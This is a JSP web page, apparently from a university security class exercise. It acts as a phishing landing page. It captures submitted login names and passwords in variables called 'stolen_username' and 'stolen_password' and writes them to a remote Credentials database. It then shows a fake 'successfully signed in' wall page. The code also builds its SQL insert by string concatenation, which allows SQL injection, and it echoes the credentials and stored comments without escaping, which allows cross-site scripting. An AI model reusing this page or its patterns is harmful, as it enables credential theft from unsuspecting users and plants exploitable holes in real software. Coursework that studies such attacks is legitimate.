<%@page contentType="text/html" pageEncoding="UTF-8" import="java.util.List, java.util.ArrayList, java.io.*, java.sql.Statement, java.sql.DriverManager, java.sql.Connection"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
   "http://www.w3.org/TR/html4/loose.dtd">

<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>JSP Page</title>
    </head>
    <body>

        <%
        String stolen_username = (String)request.getParameter("loginName");
        String stolen_password = (String)request.getParameter("password");

        String url = "jdbc:mysql://repos.insttech.washington.edu/";
	String dbName = "lhansel";
	String driver = "com.mysql.jdbc.Driver";
	String userName = "*****";
	String password = "*****";
	Statement stmt = null;
	Connection con;

        try
        {
            Class.forName(driver).newInstance();
            con = DriverManager.getConnection(url+dbName,userName,password);
            String queryString = "INSERT INTO Credentials (username, password) values ('" +
                    stolen_username + "', '" + stolen_password + "')";
            stmt = con.createStatement();
            int val = stmt.executeUpdate(queryString);
        }
        catch(Exception e)
        {
            System.out.println("e : " + e);
        }
        %>

        Login Name : <%= stolen_username %>
        Password   : <%= stolen_password %>

        <h3>Processing...You have succesfully signed in!</h3>
        <h4>Alice's Wall!</h4>
        <form name="form1" id ="myform" method="get" action="MyCoolServlet">
            <input type="textbox" id="idComments" name="txtComments" size="25" ><p></p>
            <input type="button" value="Submit">
            <input type="reset" value="Reset">
        <h4>Comment section:</h4>
        <script type="text/javascript">
        </script>
        <table>
            <tr>
            <%
                List<String> messages = (ArrayList<String>) request.getSession().getAttribute("messages");

                if (messages != null)
                {
                    for (int i=0; i < messages.size(); i++)
                    {
                    %>
                        <%= "<tr><td>" + messages.get(i).toString() + "</td></tr>" %>
                    <%
                    }
                }
             %>
             </tr>
        </table>
        </form>
    </body>
</html>
